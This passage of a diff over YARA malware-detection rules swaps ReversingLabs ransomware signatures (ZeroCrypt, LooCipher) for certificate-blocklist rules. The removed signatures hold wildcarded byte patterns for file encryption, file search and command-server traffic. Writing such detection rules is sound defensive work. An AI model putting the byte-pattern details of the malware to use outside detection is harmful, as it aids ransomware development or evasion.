?? ?? ?? 8D 4C 24 ?? 6A ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 52 56 FF D7 8B 94 24 ?? ?? ?? ?? 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 50 8B 84 24 ?? - ?? ?? ?? 51 52 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 8D 4C 24 ?? 8D 84 24 ?? ?? ?? - ?? 6A ?? 51 8B 4C 24 ?? 52 50 51 FF 15 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 55 53 56 FF - D7 8B 7C 24 ?? 33 C9 3B FD 89 4C 24 ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 33 F6 8A - 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 ?? 8A 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 - ?? 46 83 FE ?? 7C ?? 8B 74 24 ?? 57 56 8D 44 24 ?? 53 8D 8C 24 ?? ?? ?? ?? 50 51 E8 - ?? ?? ?? ?? 8B 54 24 ?? 8D 84 24 ?? ?? ?? ?? 52 53 56 8D 8C 24 ?? ?? ?? ?? 50 51 E8 - ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 6A ?? 52 50 53 51 FF 15 ?? - ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 6A ?? 52 55 53 50 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B - 7C 24 ?? 41 3B FD 89 4C 24 ?? 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 85 FF 74 ?? 8B 54 24 ?? - 8D 4C 24 ?? 6A ?? 51 57 53 52 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 44 24 - ?? 50 FF D6 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 4C 24 ?? 68 ?? ?? ?? - ?? 6A ?? 51 FF D6 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3 - } - $remote_server_1 = { - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C9 8D 94 24 ?? ?? ?? ?? 8A 0C 2E - 8D 84 24 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? - ?? ?? 7C ?? 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 52 E8 ?? ?? - ?? ?? 83 C4 ?? 33 F6 33 C0 8D 8C 24 ?? ?? ?? ?? 8A 04 1E 8D 94 24 ?? ?? ?? ?? 50 51 - 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? ?? ?? 7C ?? 8D 84 24 ?? ?? - ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 33 F6 F2 AE F7 D1 49 51 8D 8C 24 ?? ?? - ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 46 FF 15 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? - 33 C0 8D 94 24 ?? ?? ?? ?? F2 AE F7 D1 49 52 8D 84 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? BE ?? ?? ?? ?? 8D 84 24 ?? ?? - ?? ?? 8A 10 8A 1E 8A CA 3A D3 75 ?? 84 C9 74 ?? 8A 50 ?? 8A 5E ?? 8A CA 3A D3 75 ?? - 83 C0 ?? 83 C6 ?? 84 C9 75 ?? 33 C0 EB - } - $remote_server_2 = { - 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 51 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 52 03 D8 E8 ?? ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? 8D BC 24 ?? ?? ?? ?? 83 C4 - ?? C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 83 E1 ?? 68 ?? ?? ?? ?? F3 A4 8D 8C 24 ?? ?? - ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? BB - ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? - ?? ?? ?? 03 D8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B CB 8B F0 8B - D1 BF ?? ?? ?? ?? C1 E9 ?? F3 A5 83 C4 ?? 8B CA 83 E1 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? F3 A4 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - BB ?? ?? ?? ?? 2B D8 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 03 D8 E8 ?? - ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? BF ?? ?? ?? ?? 68 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B - C8 68 ?? ?? ?? ?? 83 E1 ?? F3 A4 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? 33 C0 - 83 C4 ?? F2 AE F7 D1 49 83 F9 ?? 0F 82 ?? ?? ?? ?? 33 F6 8D BC 24 ?? ?? ?? ?? 8D 8C - 34 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 46 83 C7 ?? 81 FE ?? ?? - ?? ?? 72 ?? 8B 3D ?? ?? ?? ?? FF D7 8D 94 24 ?? ?? ?? ?? 56 52 8B E8 E8 ?? ?? ?? ?? - 83 C4 ?? FF D7 8B F0 8D 44 24 ?? 50 2B F5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 4C 24 ?? 8D 94 24 ?? ?? ?? ?? 51 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? - 8D 84 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 F2 AE F7 D1 49 51 8D 8C - 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - } - $send_post_packet = { - 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 - FE ?? 89 75 ?? 75 ?? 50 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B - 8B E5 5D C3 6A ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 66 89 45 ?? 52 E8 ?? ?? - ?? ?? 89 45 ?? 8D 45 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? - 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8D BD ?? ?? ?? ?? 83 C9 ?? - 33 C0 6A ?? F2 AE F7 D1 49 51 8D 8D ?? ?? ?? ?? 51 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? - 56 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $send_get_request = { - 68 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 - FB ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33 - C0 5B 81 C4 ?? ?? ?? ?? C3 6A ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 66 - 89 44 24 ?? 52 E8 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 6A ?? 50 53 E8 ?? ?? ?? ?? 83 - F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33 - C0 5B 81 C4 ?? ?? ?? ?? C3 8B FD 83 C9 ?? 33 C0 6A ?? F2 AE F7 D1 49 51 55 53 E8 ?? - ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? - 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_server_1 and $remote_server_2 and $send_post_packet and $send_get_request + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CREA&COM d.o.o." and ( pe.signatures [ i ] . serial == "00:dd:9e:9e:1d:7c:57:37:14:e3:f5:67:c5:38:0a:e6:d0" or pe.signatures [ i ] . serial == "dd:9e:9e:1d:7c:57:37:14:e3:f5:67:c5:38:0a:e6:d0" ) and 1575849600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Zerocrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3D5E71 : INFO FILE { meta: - description = "Yara rule that detects ZeroCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "89e47d7f-1ac4-570d-8ae1-30f0acc21462" - date = "2020-06-26" - modified = "2020-07-15" + id = "7180b20d-f367-5260-88cd-dd2a1269f89b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ZeroCrypt.yara#L1-L94" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12744-L12760" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "947925206ded187eac31c5046d75ab017869ae3f8dc906f2e5536d4db219f108" + logic_hash = "aa73ac6569e4bb0084d7b148b2186ec2737a691a133319b21b666aa16bca9f2d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ZeroCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_file_1 = { - 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? - ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? - ?? ?? 64 A3 ?? ?? ?? ?? 8B F2 8B F9 68 ?? ?? ?? ?? 8B D7 8D 4C 24 ?? E8 ?? ?? ?? ?? - 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8B D0 56 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? - 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 - 24 ?? 72 ?? 8B 16 EB ?? 8B D6 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? - ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? - C6 84 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B D6 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8B - D7 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 - 56 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 68 ?? ?? ?? ?? - 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? - ?? 3B C6 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? - ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 - 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? - FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 - } - $encrypt_file_2 = { - C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 66 89 44 - 24 ?? 8D B4 24 ?? ?? ?? ?? 0F 43 BC 24 ?? ?? ?? ?? 8D 44 24 ?? 83 BC 24 ?? ?? ?? ?? - ?? 50 0F 43 B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 57 56 8B 00 FF D0 85 C0 68 ?? ?? ?? ?? 0F 95 C3 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? - 8D 44 24 ?? 8D B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 43 B4 24 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 56 8B 00 FF D0 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A - ?? 50 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 - 84 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 83 EC ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 4C - 24 ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B 58 ?? 03 18 E8 ?? ?? ?? - ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? - ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 8B 00 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? 66 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 84 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B F8 8D 4C 24 ?? 57 BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 4C 24 ?? 8B 41 ?? F6 84 04 ?? ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? - 03 C8 8B F3 33 C0 39 41 ?? 0F 44 C2 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? - ?? ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 6A ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F3 0F 6F 00 F3 0F 7F 07 E8 ?? ?? ?? ?? F3 0F 6F - } - $encrypt_file_3 = { - 00 F3 0F 7F 47 ?? F3 0F 6F 40 ?? F3 0F 7F 47 ?? F3 0F 6F 40 ?? 8D 84 24 ?? ?? ?? ?? - 50 51 F3 0F 7F 47 ?? 57 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 - ?? 85 F6 74 ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B4 24 ?? - ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 85 C0 75 ?? 8B 44 24 ?? 8D 4C 24 ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 - ?? 83 C8 ?? 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 85 F6 74 ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B3 ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? C6 84 24 ?? - ?? ?? ?? ?? 50 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 32 DB - C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 66 89 84 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF - B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 8A C3 C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? - ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $encrypt_file_3 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OF.PL sp. z o.o." and pe.signatures [ i ] . serial == "3d:5e:71" and 1066997730 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Loocipher : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_C33187Fe848A65E8484Ea492Cb2Cbb18 : INFO FILE { meta: - description = "Yara rule that detects LooCipher ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b5aa2bd0-72b0-5013-a60e-9b4f1ee1de1f" - date = "2020-06-26" - modified = "2020-07-15" + id = "fa05113a-a21e-5f21-aae3-b646e5b42dfb" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LooCipher.yara#L1-L87" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12762-L12780" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa0598d63b5fad6aea0945a0aa2030d3d6e2cd9f1fea16f3dd17cdceb68323e3" + logic_hash = "b66d67b74d73a143cb5301b232abd5f0f84f058223d4494b924a25dffb49037a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "LooCipher" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection = { - 6A ?? 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 B9 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 68 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 - 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 - } - $encrypt_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? 53 56 57 8D BD - ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AB A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D - 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 4D ?? 3B C1 74 - ?? E8 ?? ?? ?? ?? 8B F0 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 E9 ?? 8B C6 33 D2 F7 F1 89 - 55 ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 4D ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8B 4D ?? - E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C9 ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 52 8B CD 50 8D 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 5A 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 3B EC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files = { - 52 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 85 C0 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B F4 89 - A5 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 50 ?? 52 8B 00 50 8B CE E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 